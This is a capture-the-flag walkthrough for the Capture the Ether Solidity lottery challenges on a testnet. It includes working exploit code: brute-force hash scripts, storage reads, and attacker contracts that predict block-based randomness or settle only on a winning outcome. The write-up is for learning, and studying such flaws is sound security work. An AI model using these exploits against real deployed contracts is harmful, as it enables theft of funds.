Capture the Ether is a game in which you hack Ethereum smart contracts to learn about security.
This game is brought to you by @smarx.
As I am new to Solidity, I might have made some mistakes here.
That could be regarding the way I dealt with some challenges or regarding technical terms I (haven't) used.
I strongly encourage you to double check the information below and send an issue / PR if there is anything not fairly accurate or if you find a prettier workaround !
That being said, Lets a go !
β
Time for a true display of skill !
All you have to do is to install Metamask, and switch to the Ropsten test network. Next step π go to Metamask faucet in order to get some free Ether.
When you click the Begin Challenge
button, metamask will be triggered and you'll be asked to send the transaction in order to deploy the contract.
Nailed it π
In order to call the function on the deployed contract, I used Remix wich is pretty easy to operate.
You just have to create a file where you copy/paste the contract given on Capture the Ether website. Compile it and go to the Run tab, in the second block section you can load a contract from an existing address or deploy it. After pressing the Begin Challenge
button, an address will be displayed, this is the one that you have to copy/paste into the Load contract from Address
field and press the At Address
button.
Then in the Deployed Contracts section you should be able to call the callme()
function !
Same thing as above, you just have to pass an argument next to the function call button. Pretty easy.
Iβm thinking of a number. All you have to do is guess it.
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
As we can see in this Solidity contract, the answer is stored as it in a state variable named answer
.
It's time to D-D-D-D-Duel !
That was really not a big deal to find that the number you were thinking of was ... 42 ! π
Putting the answer in the code makes things a little too easy.
This time Iβve only stored the hash of the number. Good luck reversing a cryptographic hash!
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
As we can't reverse a cryptographic hash, the only way we can find it is brute forcing it. Lucky us, we only have 256 possibilities ! ( because n is a uint8 so possible values goes from 0 to 255 ).
Keccak256 is an alias for sha3, so we can use the web3 sha3 function to calculate the hash !
Let's do it in our javascript console with a tiny script :
const hash = "0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365"
for(i=0;i<256;i++){
if(web3.sha3(i) == hash){
console.log(i)
}
}
No result found !
NO GOD! PLEASE NO!!! What is going on ?
Well... the sha3 function of Solidity is taking arguments so it fits in the smallest necessary type. So we have to pass the argument as a uint8 ! In hexadecimal, we only need 2 characters in order to have 8 bits. So let's pass our argument as a hexadecimal number !
Disclaimer : I had to do this workaround because I was using the version of Web3 provided by Metamask. You should consider using web3 1.0 with :
web3Utils.soliditySha3
function.
const hash = "0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365"
for(i=0;i<256;i++){
// Don't forget to padLeft your number so it fits a 2 characters length
if(web3.sha3(web3.padLeft(i.toString(16),2), {encoding: 'hex'}) == hash){
console.log(i)
}
}
It's time to D-D-D-D-Duel !
I guess the number is ... 170 ! π
This time the number is generated based on a couple fairly random sources.
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
Well, these sources are not really random... As the answer is set in the constructor, the block variable refers to the block where the contract was created ( which is the block of the transaction you sent to create the contract ).
But how do we find the
now
variable ? π€
In Solidity, now
is an alias for block.timestamp
! π§
We can see that we have to get block.blockhash(block.number - 1), which is the hash of the parent block.
So basically it means that we have to find :
block.blockhash(parentBlockNumber)
block.timestamp
We can do it with a little script in our javascript console.
// Put the transaction hash of the tx you sent in order to create the contract
var transactionHash = 'YOUR_TX_HASH';
// web3.eth.getTransaction retrieves a transaction information from hash
web3.eth.getTransaction(transactionHash, (err, transaction) => {
// transaction.blockNumber gives us the block number
var blockNumber = transaction.blockNumber;
// web3.eth.getBlock retrieves a block from a block number
web3.eth.getBlock(blockNumber, (err, block) => {
// Here we have the block.timestamp
var timestamp = block.timestamp;
// And the hash of the parent block is stored in the block element, so we don't have to calculate it
var parentBlockHash = block.parentHash;
// Because now is a uint (so uint256 by default), we have to pad it so it fits the required length
var answerHash = web3.sha3(parentBlockHash + web3.padLeft(timestamp.toString(16), 64), {encoding:'hex'});
// Don't forget to put back the hexadimal prefix to the last two characters so web3.toDecimal can correctly convert the input
console.log(web3.toDecimal("0x"+answerHash.slice(-2)));
});
});
But there is another workaround, an easier one.
The Solidity doc says that Statically-sized variables (everything except mapping and dynamically-sized array types) are laid out contiguously in storage starting from position 0
.
As the contract only stores the answer as a state variable, we can get it using web3.eth.getStorageAt
with the index 0
.
var contract = 'ADDRESS_OF_DEPLOYED_CONTRACT';
// get storage at index 0
web3.eth.getStorageAt(contract, 0, (err, res) => {
// We have to convert the hex number to decimal
console.log(web3.toDecimal(res));
});
We did it ! π
The number is now generated on-demand when a guess is made.
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
In this case we can't rely on a state variable. Every time we call the guess
function, a new answer number is generated. But this number depends on the same datas we have seen before !
So, again, we have to find block.blockhash(parentBlockNumber)
and block.timestamp
.
But how can we get the block of a pending transaction ? π€
Well, as transactions are stacked in a txpool, we don't know in which block they will be added (we can bet that it will be added in the next pending block but we can't get the timestamp of it, neither we can be sure to be added in the next block).
Hopefully, when a contract makes an internal call to another contract, the block used in the internal call is the block of the main transaction. Knowing that, it is possible for us to call the GuessTheNewRandomNumberChallenge
with the newly generated number by calling it with another contract.
pragma solidity ^0.4.21;
// Declare an interface in order to use the GuessTheNewRandomNumberChallenge functions
interface GuessTheNewRandomNumberChallengeInterface {
function guess(uint8) external payable;
}
/// @title The contract that we will use to call the GuessTheNewRandomNumberChallenge contract
contract CallingContract {
// owner -> Store the owner of the contract so you will be able to get your ether back
address owner = msg.sender;
/**
* @notice Create a fallback function that is payable so the
* GuessTheNewRandomNumberChallenge contract can send you back the Ether
*/
function () public payable {}
/**
* @notice withdraw -> Bankrupt the contract, sending all Ether to owner
*/
function withdraw() public {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
/**
* @notice makeGuess -> Calls guess function at a given address
* @param address The address of the deployed GuessTheNewRandomNumberChallenge contract
*/
function makeGuess(address contractAddress) public payable {
require(msg.value == 1 ether);
GuessTheNewRandomNumberChallengeInterface challenge = GuessTheNewRandomNumberChallengeInterface(contractAddress);
uint8 generatedAnswer = uint8(keccak256(block.blockhash(block.number - 1), now));
challenge.guess.value(1 ether)(generatedAnswer);
}
}
This one was harder, but we did it again ! π
This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.
Note that it is indeed possible to solve this challenge without losing any ether.
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
As we have to lock our guess before the answer is generated, we have to predict the block where our transaction will be added. This is quite the same problem as above...
One way to make this lottery totally unfair, is that we can see if we have the right answer before calling the settle
function.
pragma solidity ^0.4.21;
// Declare an interface in order to use the PredictTheFutureChallenge functions
interface PredictTheFutureChallenge {
function lockInGuess(uint8 n) external payable;
function settle() external;
}
/// @title The contract that we will use to call the PredictTheFutureChallengeCaller contract
contract PredictTheFutureChallengeCaller {
// owner -> Store the owner of the contract so you will be able to get your ether back
address owner = msg.sender;
// guesses -> stores a guess for a given contract address
mapping (address => uint8) guesses;
/**
* @notice Create a fallback function that is payable so the
* PredictTheFutureChallenge contract can send you back the Ether
*/
function () public payable {}
/**
* @notice withdraw -> Bankrupt the contract, sending all Ether to owner
*/
function withdraw() public {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
/**
* @notice makeGuess -> Calls guess function at a given address
* @param address The address of the deployed PredictTheFutureChallenge contract
* @param n The number you wish to guess (between 0 and 9)
*/
function makeGuess(address contractAddress, uint8 n) public payable {
require(msg.value == 1 ether);
PredictTheFutureChallenge challenge = PredictTheFutureChallenge(contractAddress);
challenge.lockInGuess.value(1 ether)(n);
guesses[contractAddress] = n;
}
/**
* @notice win -> Calls settle function at a given address, only if you have the right answer
* @param address The address of the deployed PredictTheFutureChallenge contract
*/
function win(address contractAddress) public returns (uint8) {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if(answer == guesses[contractAddress]){
PredictTheFutureChallenge challenge = PredictTheFutureChallenge(contractAddress);
challenge.settle();
}
return answer;
}
}
Now you can deploy the PredictTheFutureChallengeCaller
contract and call the makeGuess
function in order to lock a guess between 0 and 9.
Wait for 1 block to be mined (that really doesn't take a lot of time), then try to win calling the win
function. Notice that you might need to put more gas limit as the win
function will trigger an internal call that will send you ether back... consuming more gas.
Got you ! π
Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
This one is pretty easy...
If you read the documentation of Solidity on the blockhash
function :
[blockhash retieves the] hash of the given block - only works for 256 most recent, excluding current, blocks.
If the block is unreachable, blockhash
returns 0
.
It is thus enough to call the guess
function by passing 0
as argument and to wait 256 blocks...
... then to call the settle
function !
Nailed it ! π